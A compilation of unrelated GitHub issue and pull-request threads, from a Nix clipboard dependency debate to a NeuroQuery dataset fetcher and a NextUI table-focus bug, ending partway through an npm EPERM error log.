The QR Code which is supposed to be facilitate AR Meditation doesn't work, instead, it shows ID validation error- both in android and windows devices.
Expected behavior:
The QR is supposed to overlay calming and focus-inducing visuals onto your physical environment. This could either be a result of incorrect data encoding or QR code reader error. The later is highly unlikely considering I tried the QR with 3 devices and all of them showed the ERROR page.
Actual behavior: the link does not return any valid request or open up the AR webpage it is supposed to.
Expected result:
The link should direct the user to an AR meditation webpage and ask for required permission before displaying the calming visuals and media; for example: serene landscapes, geometric patterns that change and flow or a clear focal point for your attention, helping you stay present in the moment.
Actual result:
The webpage which opens, shows Error: Invalid Entry ID
Screenshots

Additional Information
Device:

OS: Android 11, Android 13, Windows 11
Browser: Chrome
Version:  Google Chrome 125.0.6422.113, Google Chrome 125.0.6422.72 , Google Chrome 125.0.6422.112 (Official Build) (64-bit),

Kindly assign me this issue @akshitagupta15june Ma'am  under GSSoC'24 so that I can work on it.

it requires a paid version, i will look into it


purity

Nice work!
Since it's not using static linking, how about eliminating all the CGO code?
See benefits.
What do you think?

I think finding the OpenCL libraries manually is a challenge for different systems and GPU drivers.
In addition, the API of OpenCL is too cumbersome, and I feel that it is very difficult to integrate it easily using purego.
I'm not an OpenCL expert, you can try it, maybe I'm wrong.


On Linux, set open files limits to 65,535.

If the open files limits are set to less than the recommended 65,535, set
both the soft and hard limits to that, maintaining any higher limits for
either if they are set.

:+1:


Generational Changes

Some types have changed over generations, like the Magnemite family gaining Steel typing, and more notably the recent addition of Fairy types. When using this database for earlier generation games, the types are inaccurate since they only point to the most recent generation's typings. I propose a generation column and extra rows for those Pokemon whose types have changed.

It's worth noting there have been some developments in that department since the last pre-you activity on this issue. The plan for the future is not to use SQL at all, because while all versioning problems can theoretically be solved with it they become exponentially more unwieldy to operate in practice. Here's a proof-of-concept which extracts all the details for Gen 1 from the original ROMs (it tries hard to find all the relevant data even when stuff has been moved around, so in principle it can be used to support ROM hacks and stuff) into the new YAML-based format.

Got it, but will the relational data not be maintained anymore?


[0.18.0-Alpha] region vs regions

Very strange behavior with version 0.18.0-alpha in case of error on the auto-discovery job "regions" if you write it "region" without s
I experimented with the following configuration file
discovery:
  exportedTagsOnMetrics:
    elb:
      - Project
      - Name
  jobs:
  - type: elb
    region:
      - eu-west-1
    searchTags:
      - Key: Project
        Value: .*
    metrics:
      - name: HealthyHostCount
        statistics:
        - Minimum
        period: 600
        length: 600

Yace start without problem
No error message event in debug mode
Yace responds on 5000:/metrics but yace_cloudwatch_requests_total remains at zero
The debug mode only displays requests about consult metrics
No log activity about request to cloudwatch
I have been watching network activity with tcpdump and I have not seen any calls to cloudwatch
I try many possibility with -decoupled-scraping and -scraping-interval=60
I'm waiting 5 minutes for each test

Yace is stable, does not return any error message, but does not query cloudwatch.
It's very vicious

I think that #133 can be a good idea for this kind of errors.
Validating the yaml at the beginning will alert on this situation and save lots of time.

Increase the quality of log for the debug mode is also a good idea Imho #183

For the debug mode or in the debug=false mode as stated in #183 ?
Or in both?😁

We should validate the yaml #133 then those errors are not thrown.
Closing this one in favour of #133


Fix RawSyntax's leading/trailingTrivia computation to return nil if the outermost children don't have leading/trailing trivia

Previously they would skip over outer children that didn't have leading/trailing trivia until they found one that did. This was causing those trivia to be included twice when computing the totalLength/byteSize of the node; once in leading/trailingTrivia and again in contentLength, which only skipped the trivia of the outermost children.

@swift-ci please test

Good catch. Thanks. We should also cherry-pick this over to swift-4.2-branch once #6 is merged.


Update bootstrap package

Coverage remained the same at 96.265% when pulling def29e29251d7009bd158e4aece15fb0d78d6e44 on dkamburov/update-bootstrap into 03e07aed241d6007199788f52d9bee3e148f73cb on master.


micro: fix clipboard issue

Description of changes
Fixed clipboard copy issue by adding wl-clipboard and xclip in PATH.
https://github.com/zyedidia/micro/blob/master/runtime/help/copypaste.md#Copying

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[x] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Can't you already do this by just installing wl-clipboard systemWide? I believe its like this with micro on other distros too.

Can't you already do this by just installing wl-clipboard system-wide? I believe its like this with micro on other distros too.

wl-clipboard is just a runtime dependency and it is useless in a system-wide installation. We should provide a standalone package that you just install and everything should work. Users won't have to navigate through the repository and spend hours of their lives debugging a problem.

wl-clipboard adds commands to copy and paste, it is not useless system-wide and installing it fixes this, I don't see the ussuehere

Also, this is exactly how the package on other distros works

The fact that you mention other distributions means that you don’t understand why NixOS is better than them.
By this logic, I can omit the ddcutil in the ddcci-plasmoid dependencies and say, install ddcutil yourself. And the widget will crash with a message "ddcutil: No such file or directory". What's the point of this extension if it doesn't work?
Nix allows you to install packages in one line, without doing almost anything else. And you're suggesting we stop wrapping runtime dependencies because other distributions do the same? Then the configuration.nix will turn into something like steam-run.
If a program does not work properly, then people usually uninstall it and install another one so as not to waste precious time trying to figure it out why.
In fact, you are proposing to remove the wl-clipboard from about 30 packages in nixpkgs. For example
here and here.

this is exactly how the package on other distros works

this aligns with common user expectations

We should provide a standalone package that you just install and everything should work

this is a good goal when possible

here and here.

This doesn't mean it's a good and accepted practice across nixpkgs. eg vim and neovim do not include clipboard utils, Probably because  wayland users wouldn't want to pull in xorg dependency and vice versa.
I think right now, this will be a negotiation between users and maintainers of each individual packages

By this logic, I can omit the ddcutil in the ddcci-plasmoid dependencies and say, install ddcutil yourself. And the widget will crash with a message "ddcutil: No such file or directory". What's the point of this extension if it doesn't work?
Nix allows you to install packages in one line, without doing almost anything else. And you're suggesting we stop wrapping runtime dependencies because other distributions do the same?

The thing is, I'm your ddcutil example, the program does not work without that dependency, whereas here its an optional feature, almost like a plugin. Without this micro still works fine, but just uses an internal clipboard rather than the system one.

From discussion elsewhere, the general consensus is that a flag should be added which can be changed via an override. You should be able to ideally install either or none depending on preference

In general I'd prefer if there was an overridable option to disable the clipboard that was not required. As an awesome-wm user, I'd rather rarely need the wl-clipboard thing.
Though as an initial implementation I'd rather prefer something that pulls both and just works, rather than something that breaks and lets the user debug some random issue.

That's how I see it.

closure size went up from 45Mb to 53Mb
I am sure we can undo this if @dtzWill objects


Iss749 add compression

Summary of changes (Bug fix, feature, docs update, ...)

Compression level for saving Datasources is increased from 4 to 5.
(Compression level 4 seems to be the default.) I added a test to show
that increasing compression does actually result in small files on disk.

Datasource.load_dataset now uses xarray.open_dataset instead
of xarray.load_dataset, which should lazy-load data. This gives a
33% decrease in the time taken to run all of the tests on my machine.

I couldn't make a useful test to demonstrate that data is lazy-loaded,
but the xarray docs state that this is the case:
https://docs.xarray.dev/en/latest/user-guide/io.html#reading-encoded-data
(They say data is "always lazy loaded from netcdf", although the docs for
load_dataset say the opposite.)
If load_dataset is putting all data in memory, and open_dataset is
lazy-loading data, this should drastically reduce the amount of memory needed
to add footprints to the object store.

Please check if the PR fulfills these requirements

[x] Closes #749 (partially... I suggested using a script to compress anything already in the object store, but maybe it won't matter too much)
[x] Closes #454
[x] Tests added and passed if fixing a bug or adding a new feature
[x] All code checks passing - black --line-length 110 run over code, mypy and flake8 not showing any errors
[x] Documentation and tutorials updated/added
[x] Added an entry in the latest CHANGELOG.md file if fixing a bug or adding a new feature
[x] Added any new requirements to requirements.txt and recipes/meta.yaml

Codecov Report

Merging #755 (77f274a) into devel (5e6a8d0) will increase coverage by 0.01%.
The diff coverage is 35.08%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@            Coverage Diff             @@
##            devel     #755      +/-   ##
==========================================
+ Coverage   33.72%   33.74%   +0.01%
==========================================
  Files         175      175
  Lines       13935    13985      +50
==========================================
+ Hits         4700     4719      +19
- Misses       9235     9266      +31

Files Changed
Coverage Δ

openghg/objectstore/__init__.py
0.00% <ø> (ø)

openghg/objectstore/_local_store.py
0.00% <0.00%> (ø)

openghg/store/base/_datasource.py
0.00% <0.00%> (ø)

tests/store/test_datasource.py
98.89% <100.00%> (+0.08%)
:arrow_up:

tests/store/test_obssurface.py
79.39% <100.00%> (ø)

@brendan-m-murphy - just to check - will these updates work ok with the current object store?

@rt17603 Yea I just branched off of devel. The lazy loading changing is just replacing load_dataset with open_dataset. The xarray docs say this should give you lazy loading. (I also replaced the binary IO part with just reading from a file, maybe that would be a problem for running in the cloud?) Actually the xarray docs say that they always use lazy loading, but the docs for load_dataset say it doesn't, while open_dataset does.
I haven't tested it by loading in a lot of footprints, but I could. I tried to write a test to check how much memory was being used by open vs. load dataset, but I couldn't get it to work (it's probably possible, but not straightforward because of how numpy stores things).


fixed bug when directory_size>65536

I missed this alert, it's been a while. Can you squash these and test, please? Will merge right after! Thanks!

@baiyunping333 did you see the message above?


study group  logo is created for 3 logos

Description
This PR adds study group logo component for three different logos zendesk,elastic,HYF
Fixes #10
How to test?
This is tested with storybook ** http://localhost:3007/?path=/story/studygrouplogo--default-usage**
Checklist

[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] This PR is ready to be merged and not breaking any other functionality

Also, add a storybook example with one of the images themselves. Maybe even all three!
Instead of users picking file from their machine.


Add time control's looping and playbackSpeed to the API

playbackSpeed might be renamed to fps or frameRate.

@luisvasq @connor-makowski I've changed the time control component in cave static to pull from the API, and have also updated the time setting spec to validate 'looping' and 'fps'.

cave static commit: a4b61b
cave utils: def768f

@katherineyli LGTM. You even took care of this in cave_utils! :100: Can you please add fps and looping (default values are fine) to kitchen_sink?
@connor-makowski, just to confirm: are you okay with the name fps for "animation" speed? Actually, I think we might want to specify that this refers to frames per second in the docs.

Added default values to kitchen sink: 79e7c07

Is it actually frames per second? I might opt to change it to speed with a note that we are targeting fps but for larger data this will be slower based on data size.

Yes, fps stands for frames per second. I agree. It makes sense to rename it and add a note in the docs. @katherineyli, can you please rename fps to speed in cave_app and cave_static? I'll handle cave_utils.

cave static commit: 3d16cb6

Replaced useState with useCallback dispatch using mutateLocal: 690b375

@katherineyli, I confirm this is working fine! I merged your changes into 2.3.0-dev. The time-control-api branch you created in cave_utils is protected by default since it doesn't contain -dev in its name (this rule exists to prevent accidental pushes to a stable branch), so I wasn't able to push to it. I added the changes for cave_utils in a 2.3.0-dev branch.
@connor-makowski, can you please delete time-control-api in cave_utils?
In the meantime, we can close this one.


Added error to documentation of refresh(self)

Took first step in addressing comments[0] index error with refresh method by adding to documentation.

Erm, I disagree. This should not end in error. Firstly, the way comments are refreshed needs to be changed slightly. I say attempt a refresh, if this weird error occurs, catch it, and instead of raising an error ( if we do, this could break a lot of scripts. A whole lot), we make another request on /api/info in order to refresh properly. Or something along those lines. I haven't worked out the best process yet.

Yep, look at this. It shows the comment info as needed (removed) whereas it doesn't actually appear in the listing. Unfortunately some info is not sufficient to a permalink based refresh, but if I remember correctly, the info that is insufficient can't change regardless, so it should be as simple as running self.dict.update(other.dict) instead of rewriting self.dict. I'll do a diff check test via  Diffuse and write the PR in the morning.

@d-soni thanks for the PR. Updating the documentation is absolutely a step in the right direction. I do agree with @13steinj that there is a better solution, but starting with a bandaid works for me. Perhaps you can ensure the comment gets removed when a solution is found?

@bboe I'm in the process of writing the solution. When I do I'll remove the comment :P


Why can't I able to reinstall flutter by downloading flutter SDK in my Windows 10 OS?

I have been using flutter for one and a half year.
But recently I messed up some code so that I need to uninstall the environment totally and about to try reinstallation but I failed.
It showing this (failed) button and so that I'm unable to download the SDK file from flutter's official get-started page. I also tried to git clone the repository of stable SDK version but that also appeared error.

What should I do?

Let's get you up and running again. Here's a direct link to the Windows stable SDK:
https://storage.googleapis.com/flutter_infra/releases/stable/windows/flutter_windows_v1.12.13+hotfix.9-stable.zip
We've seen this failure before, but it's very intermittent and hard to pin down. I'll link to the other examples when I find them.
Hope the link above gets you working again. Thanks for using Flutter!

@timsneath  I used a VPN to solve this. I don't know why it's happening to me. When I first installed, it works perfectly fine for me. But now without a VPN, it doesn't allow me to download.
I found this post helpful: https://stackoverflow.com/questions/54775153/cant-download-flutter-download-button-fail


Correct documentation for nuget trusted-signers only 1 signed package is can be passed.

Fixes https://github.com/NuGet/docs.microsoft.com-nuget/issues/2399
Due do better security practice we made nuget trusted-signers add nupkgPath command accept only 1 nupkg file instead of many. It's consistent with other MS product practice.

Docs Build status updates of commit 0a8400e:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/reference/cli-reference/cli-ref-trusted-signers.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Add fetcher/converter for NeuroQuery dataset

Summary

One thing that came up during our OHBM educational course panel on meta-analysis was that NiMARE should be able to ingest NeuroQuery's dataset. Since the data are available on GitHub, we can create a fetcher like nimare.extract.fetch_neurosynth and convert the data to a NiMARE Dataset.
Additional details

Access to a very large, very high-quality dataset of coordinates and annotations.
Next steps

Figure out how the NeuroQuery data format can be converted to NiMARE format.
Add a function to grab the NeuroQuery data.
Test/document.

I'm spending some time to review the NeuroQuery dataset and there's obviously a lot more information there than in the Neurosynth dataset. I think the best plan is to (1) break the "feature" files down by section/source (which is how the npz files are already organized), and (2) update convert_neurosynth_to_json to support multiple feature files.
However, I worry that that ignores a number of useful elements to the dataset, including (1) the categories each term may be assigned to and (2) synonym mappings. The only similar structure in NiMARE at the moment is in the cogat module, so we should break this down into both a Neurosynth-format set of files and a "vocabulary" like the Cognitive Atlas. I can handle any file reorganization that might need to happen for the latter on NiMARE's end of things, although I'll probably start by just working on the Dataset conversion.
@jeromedockes, a couple of questions for you, if you have the time:

Which count files are used to produce corpus_tfidf.npz? Are the counts from all of the sections just added together and then TF-IDF-transformed? Also, do the TF-IDF values come from the smaller or the larger vocabulary?
Were the synonyms defined in vocabulary.csv_voc_mapping_identity.json combined before term counts were generated, before the TF-IDF transformation, or after both?
Would it be possible to regularly update the dataset?

I'm spending some time to review the NeuroQuery dataset and there's obviously a lot more information there than in the Neurosynth dataset. I think the best plan is to (1) break the "feature" files down by section/source (which is how the npz files are already organized), and (2) update convert_neurosynth_to_json to support multiple feature files.
However, I worry that that ignores a number of useful elements to the dataset, including (1) the categories each term may be assigned to and (2) synonym mappings. The only similar structure in NiMARE at the moment is in the cogat module, so we should break this down into both a Neurosynth-format set of files and a "vocabulary" like the Cognitive Atlas. I can handle any file reorganization that might need to happen for the latter on NiMARE's end of things, although I'll probably start by just working on the Dataset conversion.

please let me know how I can help transform the neuroquery data into the
most convenient format. based on yesterday's conversation I'll create a
version in the NeuroSynth format (but as you say not everything can be
represented like this).

Which count files are used to produce corpus_tfidf.npz?

Those in training_data/corpus_word_counts/pmids.txt

Are the counts from all of the sections just added together and then
TF-IDF-transformed?

They are transformed to TF-IDF, then averaged (with equal weights) to
produce the final TF-IDF. This means that a term in a shorter section
(eg the title) will have a more important weight in the final
representation than the same term in another section (eg the body).

Also, do the TF-IDF values come from the smaller or the larger vocabulary?

from the smaller one. I can compute the TF-IDF for the large vocabulary
if you think that is useful, but the goal of
corpus_word_counts_large_vocabulary was just to provide data that is
as complete / raw as possible (providing the actual text is not
allowed), for users who may want to do a different processing of it.

Were the synonyms defined in vocabulary.csv_voc_mapping_identity.json combined before term counts were generated, before the TF-IDF transformation, or after both?

after both. the vocabulary.txt and tfidf files have 7547 terms.
1239 terms are mapped to their synonym by the neuroquery tokenizer, so
the output of the neuroquery tokenizer, ie the number of features used
in the neuroquery linear model, ends up being 7547 - 1239 = 6308 terms
after merging synonyms.

Would it be possible to regularly update the dataset?

Unfortunately, not easily at the moment -- but it should really be the case.
It will require a little work because

part of the documents come from Elsevier, which requires a (paid) account, and that part of the data collection probably won't be maintained
IIRC I used some XSLT features not supported by lxml (ie not usable with only python packages)

so to produce a public / maintainable version of the data collection the
Elsevier part needs to be dropped and the stylesheets need to be
simplified a bit, plus probably a bit of refactoring and documentation.
I'll try to find some time for this but I'm not sure when .

Thanks @jeromedockes! Those answers are really helpful. I took a quick crack at converting the files and it looks like the Neurostnth-format files will end up being really big. Given the size, I wonder if somewhere better suited for large files might be better, like FigShare or OSF. WDYT?
It could be fine when the files are compressed though- I haven't tried that out yet.

Thanks @jeromedockes! Those answers are really helpful. I took a quick crack at converting the files and it looks like the Neurostnth-format files will end up being really big.

Thanks a lot for looking into this!
I believe file size was one of the reasons I had chosen to store the
tfidf in .npz files rather than tsv as the NeuroSynth format does.
Are these the files that pose a problem (ie the features.txt after
conversion to NeuroSynth's format?)
Which files are you thinking of including? Those with the full
vocabulary are probably huge, but maybe the subset with 7K terms is
sufficient?

Given the size, I wonder if somewhere better suited for large files might be better, like FigShare or OSF. WDYT?

There is a NeuroQuery OSF project:
https://osf.io/5qjpb/
that I have been using to store larger files; that might be a good
option.
Still the online storage is not the only issue -- keeping the dataset
reasonably small is also nice for download times and users' disk space,
and reading large tsv files is slow and can use a lot of memory.

It could be fine when the files are compressed though- I haven't tried that out yet.

I believe the NeuroSynth-format tsv tfidf will compress very well -- as
the tfidf matrices are very sparse these files will contain long
stretches of just the separator character. For example NeuroSynth's
features.txt goes from 189M to 9.5M once gzipped.

Which files are you thinking of including? Those with the full
vocabulary are probably huge, but maybe the subset with 7K terms is
sufficient?

I was planning to set up all of the feature files as separate Neurosynth-format files, like fullvocab_title_counts.tsv, standardvocab_title_counts.tsv, and standardvocab_corpus_tfidf.tsv. Then, within the NiMARE Dataset, those could be loaded as annotations with different "feature groups" (i.e., prefixes), like Neuroquery_TitleCounts__.

Still the online storage is not the only issue -- keeping the dataset
reasonably small is also nice for download times and users' disk space,
and reading large tsv files is slow and can use a lot of memory.

I could probably let the fetcher accept a "feature_set" argument or something, so it would only download specific features. That would at least limit the amount of space the dataset would take up.

I believe the NeuroSynth-format tsv tfidf will compress very well

Awesome. We may want to reorganize the Neurosynth data as well then.

I have another question about the corpus. I noticed that the files in training_data contain 13,881 studies, while the official corpus files in neuroquery_model contain 13,459 studies. What is the source of the difference?

Awesome. We may want to reorganize the Neurosynth data as well then.

still uncompressing and loading the large tsv takes time; loading it into a dense array takes memory -- if the neurosynth data is reorganized, maybe some other format such as npz should be reconsidered

I have another question about the corpus. I noticed that the files in training_data contain 13,881 studies, while the official corpus files in neuroquery_model contain 13,459 studies. What is the source of the difference?

indeed, sorry about that. they correspond to studies that have all their coordinates outside of the mni brain mask. I will remove them from the files in training_data

they correspond to studies that have all their coordinates outside of the mni brain mask.

Thanks for the clarification!

if the neurosynth data is reorganized, maybe some other format such as npz should be reconsidered

I'm happy to use npz in both repositories, although NiMARE will need to internally reformat to DataFrames.

I'm happy to use npz in both repositories, although NiMARE will need to internally reformat to DataFrames.

in theory DataFrames can hold sparse data (pandas documentation) -- but it may not be worth the trouble

EDIT: Also, I think the count files could be smaller if you used int instead of float64.

good point! I will do that

in theory DataFrames can hold sparse data

Whoa... okay, I'm going to look into that for NiMARE's DataFrame-based Dataset attributes. Seems like it could be pretty useful.


Use yarn with --frozen-lockfile in CI

Good point. Reduced dependencies to

@babel/runtime
@ledgerhq/hw-transport needed for exported types to work

so it's very low risk


Type guard against 'unknown' fails to narrow down to 'object' when using an if statement with the OR condition

TypeScript Version:  3.9.2
Search Terms: null object unknown
Code
declare const data: unknown;

if (data === null || typeof data !== 'object') {
    throw Error();
}

data;

Expected behavior: the 'data' const should be of type object.
Actual behavior: the 'data' const is recognized as type object | null.
Notice that if I split the above condition into two separate if statements, then it works as expected.
Playground Link:
Version showcasing the bug: https://www.typescriptlang.org/play/#code/CYUwxgNghgTiAEYD2A7AzgF3sKGoC54BXFAaxSQHcUBuAKDoEsAzeAChz3gF5f4UiECPAA+I+BgCeABxBJWnKPACEfAORIARgCtwGNQEp4AbzrxzEgBYwq8AKIwbMNgfoBfBoppA
And here's the (working) version with separate if statements: https://www.typescriptlang.org/play/#code/CYUwxgNghgTiAEYD2A7AzgF3sKGoC54BXFAaxSQHcUBuAKDoEsAzeACgwE8AHEJVnHngBCALyj4AciQAjAFbgMkgJTwA3nXhb4GABYwq8AKIwDMNsvoBfBi3aCo8cRJREIEVRu079hk2YtrBgcaIA
Related Issues: none found

This is a duplicate of #28131, just with the logic negated.

Right, it's the same issue.


Adding force_update and expire_after

Added support for force_update and expire_after options
Description:
Currently according to state object docs on last_updated, "writing the exact same state including attributes will not result in this field being updated". That makes impossible to distinguish between "sensor is sending the same temperature for the last hour" and "sensor's batteries has died an hour ago" situations.
I propose to add force_update configuration variable as per rflink binary sensor so sensor's state (and last_updated) will be changed every time a new reading arrives even if they are the same.
That will make possible to detect if a sensor does not send readings for more than X seconds and perform necessary actions (notify user, run script etc).
I also propose to add expiry_after as per MQTT sensor.
It is especially useful for sensors displayed in fronted as enables effortlessly make "stale" sensor readings visible (displayed as Unknown) and makes it possible to use filter cards etc to show only failed sensors.
Related issue (if applicable): fixes #
Pull request in home-assistant.io with documentation (if applicable): home-assistant/home-assistant.io#<home-assistant.io PR number goes here>
Example entry for configuration.yaml (if applicable):

Checklist:

[x] The code change is tested and works locally.
[ ] Local tests pass with tox. Your PR cannot be merged unless tests pass
[x] There is no commented out code in this PR.

If user exposed functionality or configuration variables are added/changed:

[ ] Documentation added/updated in home-assistant.io

If the code communicates with devices, web services, or third-party tools:

[ ] New dependencies have been added to the REQUIREMENTS variable (example).
[ ] New dependencies are only imported inside functions that use them (example).
[ ] New or updated dependencies have been added to requirements_all.txt by running script/gen_requirements_all.py.
[ ] New files were added to .coveragerc.

If the code does not interact with devices:

[ ] Tests have been added to verify that the new code works.

@akasma74 Can you please fix the lint errors and add tests for the new functionality?
@javicalle Would you mind reviewing?

@akasma74 Can you please fix the lint errors and add tests for the new functionality?

I think I've already fixed them.
This is my very first HA PR, where can I get information on how to deal with tests?

I like this implementation much more with force_update. Apart from the default value, I think it is correct and homogeneous.
About the attribute expire_after, what behavior do you have if you set force_update=False and expire_after=n seconds? I mean that if the value is not updated (because it does not change and force_update=False), what happens when a reading arrives after the value expires?
Also this new behavior must be documented.

About the attribute expire_after, what behavior do you have if you set force_update=False and expire_after=n seconds? I mean that if the value is not updated (because it does not change and force_update=False), what happens when a reading arrives after the value expires?

These two options are absolutely independent and do not influence each other or change overall behaviour of the sensor.
After n seconds the sensor's value changes to None so its state becomes unknown.
When a new reading arrives, the value changes to that value and consequently the sensor's state changes as well.

Also this new behavior must be documented in sensor.rflink.markdown (PR at home-assistant.io linked here). You can take a look at binary_sensor.rflink.markdown

Ok, will try to add description to the docs and add them to this PR.

Review the automatic build logs circleci pull/22670 there are some errors left.

After n seconds the sensor's value changes to None so its state becomes unknown.
When a new reading arrives, the value changes to that value and consequently the sensor's state changes as well.

Thanks for the clarification

@akasma74 Please add tests as suggested by @javicalle

@akasma74 Please add tests as suggested by @javicalle

Sorry for the delay.
I looked at the examples, but they use different approaches so I'm a bit confused.
On top of that, I'm just learning Python and completely unaware of functions available for tests.
And currently I'm on holiday and just can't spend enough time to deal with all that.
Will do my best when I'm back after the 20 Apr.

Stale. Please reopen after all comments are addressed

I'd love to reopen but can see no such option - any ideas?

@akasma74 just open a new PR if you can't reopen.

ok


feat: The Marcinkiewicz-Zygmund inequality

From LeanAPAP
Co-authored-by: Bhavik Mehta<EMAIL_ADDRESS>

[x] depends on: #15832

Does this work for Euclidean space, by expressing the norm-square of a vector as the sum of the squares of its components?  You do this for the real+complex decomposition of a complex number, but I don't immediately see anything special to two summands.  (Of course, the constants would be adjusted.)
If that works, then you can extend to a finite-dimensional inner product space by using stdOrthonormalBasis.

I asked the people around me (Bhavik, Thomas Bloom, my PhD advisor), and we all agree that your generalisation should work, but also that we have no use for it. I am therefore leaving a TODO.

I pushed a cheap generalization to inner product spaces (cheap because I kept the dimension restriction, so your original proof goes through without change).  OK?

... at which point I figured I might as well do the general case.  Are you willing to keep it part of the PR?

Ahah, that's great! I was not willing to generalise because I have so many other things to push from APAP, but if you have already done it I won't complain 😅 Thanks a lot!

I have decided to move the new file to a new folder Analysis.Discrete because I have more discrete analysis in the making and Marcinkiewicz-Zygmund is usually classified as a discrete analysis result.

Thank you Heather and Sébastien for the reviews. I have decided that the current proof was too ugly and specific to be worth spending more time on it, so I have started formalising the general random variable version.
Along the way, I've made another big change: Instead of generalising to inner product spaces by taking a basis (bootstrapping), I rewrote the entire proof to handle products of inner products rather than products. This makes the proof a bit more complicated in places, but overall seems to work nicer AND gives a constant that does not depend on the dimension of the space.
There are still a few sorries left (10 at the time of writing), but none of them should be particularly challenging.


[BUG] - Inputs inside selectable table row cannot be focused

NextUI Version
2.4.6
Describe the bug
A Table with props selectionMode='single' or selectionMode='multiple' prevents Input components from being clickable.
Instead, the Table row is selected.
If the user clicks within a few pixels of the border of the Input component, they are able to select the Input and type but it also selects the Table row.
Your Example Website or App
No response
Steps to Reproduce the Bug or Issue
Observe the behavior of how the Input versus the Select element when in a Table with selection.

  <TableHeader>
    <TableColumn key={'name'}>{'name'}</TableColumn>
    <TableColumn key={'description'}>{'description'}</TableColumn>
  </TableHeader>
  <TableBody>
    <TableRow key={'row1'}>
      <TableCell key={'row1-name'}>
        {'Name'}
      </TableCell>
      <TableCell key={'row1-description'}>
        <Input placeholder={'description'} />
      </TableCell>
    </TableRow>
    <TableRow key={'row2'}>
      <TableCell key={'row2-name'}>
        {'Name'}
      </TableCell>
      <TableCell key={'row2-description'}>
        <Select>
          <SelectItem key={'Option 1'}>{'Option 1'}</SelectItem>
          <SelectItem key={'Option 2'}>{'Option 2'}</SelectItem>
          <SelectItem key={'Option 3'}>{'Option 3'}</SelectItem>
        </Select>
      </TableCell>
    </TableRow>
  </TableBody>

Expected behavior
As a user, I expect the Input component to function similar to the Select element, properly capturing the focus and preventing propagation of the event to Table row selection.
Screenshots or Videos

Operating System Version

OS: Windows

Browser
Chrome

any solution for this?

Hmm, I can't really think of a use case for this. Wouldn't setting selectionMode="none" be enough?
That being said, if it's absolutely necessary, you can implement it this way to allow focus (but be sure to test as it might have other side effects).
<TableCell key="row1-description">
  <Input
    placeholder="description"
    onPointerDown={(e) => {
      e.stopPropagation();
      e.currentTarget.focus();
    }}
  />
</TableCell>

Hmm, I can't really think of a use case for this. Wouldn't setting selectionMode="none" be enough?
That being said, if it's absolutely necessary, you can implement it this way to allow focus (but be sure to test as it might have other side effects).
<TableCell key="row1-description">
  <Input
    placeholder="description"
    onPointerDown={(e) => {
      e.stopPropagation();
      e.currentTarget.focus();
    }}
  />
</TableCell>

I'm not sure what you mean by not being able to think of a use case. There are thousands of web interfaces that exist where rows are both selectable and have editable fields. Let's take the NextUI components table of employee information as our example.

In this table, let's say the hypothetical customer requirement is to have an editable phone number field. This bug directly prevents you from being able to add that feature.
The suggestion for stopping event propagation has inconsistent behavior due to how the NextUI <Input/> element is wrapped inside a
. Stopping propagation and calling focus() allows the user to select the input field; however, the row may or may not toggle selection depending on where the user clicks within the element. If clicking near the edges of the input, it toggles the row selection. If clicking near the center of the input, it does not toggle the selection.

It seems that the React Spectrum team is considering addressing this issue.
I'll take some time to think about whether we'll handle it ourselves.

Related to https://github.com/nextui-org/nextui/issues/3681

just choose this option

One thing for anothe

just select this

One thing for another.


Not able to clone latest solution of readium-js-viewer.Error on npm run prepare

I tried the following steps on GitCMD:
1- git clone --recursive -b develop https://github.com/readium/readium-js-viewer.git readium-js-viewer
2- cd readium-js-viewer
3- git submodule update --init --recursive
4- git checkout develop && git submodule foreach --recursive "git checkout develop"
5- npm run prepare:all
At the lest step i am getting an error
+--<EMAIL_ADDRESS>+--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>extraneous +--<EMAIL_ADDRESS>extraneous +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid +--<EMAIL_ADDRESS>invalid --<EMAIL_ADDRESS>invalid
npm WARN optional SKIPPING OPTIONAL DEPENDENCY<EMAIL_ADDRESS>(node_modules\ch
okidar\node_modules\fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@
1.1.1: wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"}
)
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "update"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! path C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readiu
m-cfi-js\node_modules.staging\yui-7053ba69
npm ERR! code EPERM
npm ERR! errno -4048
npm ERR! syscall rename
npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\nwf\readium-js-
viewer\readium-js\readium-shared-js\readium-cfi-js\node_modules.staging\yui-705
3ba69' -> 'C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readium-c
